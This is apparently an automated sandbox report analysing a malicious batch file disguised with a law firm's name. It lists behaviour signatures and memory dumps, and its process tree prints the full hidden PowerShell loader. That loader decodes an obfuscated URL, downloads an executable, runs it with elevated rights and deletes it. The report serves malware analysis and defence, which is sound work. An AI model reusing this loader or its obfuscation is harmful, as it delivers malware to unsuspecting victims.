Analysis
- max time kernel
299s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
24/07/2026, 03:30
General
- Target McPherson_Rocamora_Nicholson_and_Hinkle_PLLC.bat
- Size 898B
- Sample260724-d2tpsa1hrb
- SHA256 f74ed16b84701d4788eaa69348a2a55037b9247d95ef66a867a60291b4964c94
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Powershell Invoke Web Request.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\McPherson_Rocamora_Nicholson_and_Hinkle_PLLC.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$s='104116116112115058047047115111102116119097114101099100110046110101116047100111119110108111097100115047077099080104101114115111110095082111099097109111114097095078105099104111108115111110095097110100095072105110107108101095080076076067095048050098052053097048048046101120101';$bytes=@();for($i=0;$i -lt $s.Length;$i+=3){$bytes+=[byte]($s.Substring($i,3))};$u=[System.Text.Encoding]::ASCII.GetString($bytes);$f=$env:TEMP+'\McPherson_Rocamora_Nicholson_and_Hinkle_PLLC.exe';$ProgressPreference='SilentlyContinue';Invoke-WebRequest -Uri $u -OutFile $f -UseBasicParsing;$p=New-Object System.Diagnostics.ProcessStartInfo $f;$p.Verb='runas';$p.UseShellExecute=$true;$proc=[System.Diagnostics.Process]::Start($p);$proc.WaitForExit();Remove-Item $f -Force -ErrorAction SilentlyContinue"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/4532-0-0x00007FF82623F000-0x00007FF826240000-memory.dmp
memory/4532-1-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-4-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-5-0x000001CA38970000-0x000001CA38992000-memory.dmp
memory/4532-6-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-7-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-8-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-9-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-10-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-11-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-12-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-13-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-14-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-16-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-17-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/4532-19-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp